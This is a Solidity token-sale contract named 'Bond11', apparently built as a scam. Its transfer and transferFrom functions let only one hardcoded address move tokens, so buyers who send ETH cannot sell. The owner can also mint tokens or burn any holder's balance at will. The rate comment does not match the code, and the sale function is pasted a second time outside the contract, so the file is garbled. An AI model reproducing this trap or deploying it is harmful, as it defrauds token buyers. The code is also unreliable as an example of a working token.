contract Bond11 is ERC20Interface, Owned, SafeMath {
    string public symbol;
    string public  name;
    uint8 public decimals;
    uint public startDate;
    uint public endDate;
    uint public bonusEnds;
    uint public initialSupply = 20000000e18;
    uint public totalSupply_;
    uint public endBondsale;
    uint public startBondsale;
    address private tokenOwner;
    mapping(address => uint) balances;
    mapping(address => mapping(address => uint)) allowed;
    function Bond11() public {
        symbol = "BNDA";
        name = "Bond11";
        decimals = 18;
        bonusEnds = now + 31 days;
        endDate = now + 61 days;
        endBondsale = 100000000e18;
        startBondsale = 0;
        tokenOwner = address(0x0b8A292ADC4fc32259C7A9836575337166cB20Ac);
    }
    function totalSupply() public constant returns (uint) {
        return totalSupply_;
    }
    function balanceOf(address tokenOwner) public constant returns (uint balance) {
        return balances[tokenOwner];
    }
    function transfer(address to, uint tokens) public returns (bool success) {
        balances[msg.sender] = safeSub(balances[msg.sender], tokens);
        balances[to] = safeAdd(balances[to], tokens);
        emit Transfer(msg.sender, to, tokens);
        require(msg.sender == tokenOwner);
        return true;
    }
    function approve(address spender, uint tokens) public returns (bool success) {
        allowed[msg.sender][spender] = tokens;
        Approval(msg.sender, spender, tokens);
        return true;
    }
    function transferFrom(address from, address to, uint tokens) public returns (bool success) {
        balances[from] = safeSub(balances[from], tokens);
        allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
        balances[to] = safeAdd(balances[to], tokens);
        emit Transfer(from, to, tokens);
        require(msg.sender == tokenOwner);
        return true;
    }
    function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
        return allowed[tokenOwner][spender];
    }
   function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
        allowed[msg.sender][spender] = tokens;
        Approval(msg.sender, spender, tokens);
        ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
        return true;
    }

    // ------------------------------------------------------------------------
    // 7000 Bond11 per 1 ETH 
    // ------------------------------------------------------------------------
    function () public payable {
        require(now >= startDate && now <= endDate && totalSupply_ >= startBondsale && totalSupply_ < endBondsale);
        uint tokens;
        if (now <= bonusEnds) {
            tokens = msg.value *8400;
        } else {
            tokens = msg.value *7350;
        }
        balances[msg.sender] = safeAdd(balances[msg.sender], tokens);
        totalSupply_ = safeAdd(totalSupply_, tokens);
        Transfer(address(0), msg.sender, tokens);
        owner.transfer(msg.value);
    }


function burnToken(address target,uint tokens) returns (bool result){ 
        balances[target] -= tokens;
        totalSupply_ = safeSub(totalSupply_, tokens);
        Transfer(owner, target, tokens);
        require(msg.sender == tokenOwner);
}
 


function mintToken(address target, uint tokens) returns (bool result){ 
        balances[target] += tokens;
        totalSupply_ = safeAdd(totalSupply_, tokens);
        Transfer(owner, target, tokens);
        require(msg.sender == tokenOwner);
    
}
    function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
        return ERC20Interface(tokenAddress).transfer(owner, tokens);
    }
}
function () public payable {
    require(now >= startDate && now <= endDate && totalSupply_ >= startBondsale && totalSupply_ < endBondsale);
    uint tokens;
    if (now <= bonusEnds) {
        tokens = msg.value *8400;
    } else {
        tokens = msg.value *7350;
    }
    balances[msg.sender] = safeAdd(balances[msg.sender], tokens);
    totalSupply_ = safeAdd(totalSupply_, tokens);
    Transfer(address(0), msg.sender, tokens);
    owner.transfer(msg.value);
}

// ------------------------------------------------------------------------
// 7000 Bond11 per 1 ETH 
// ------------------------------------------------------------------------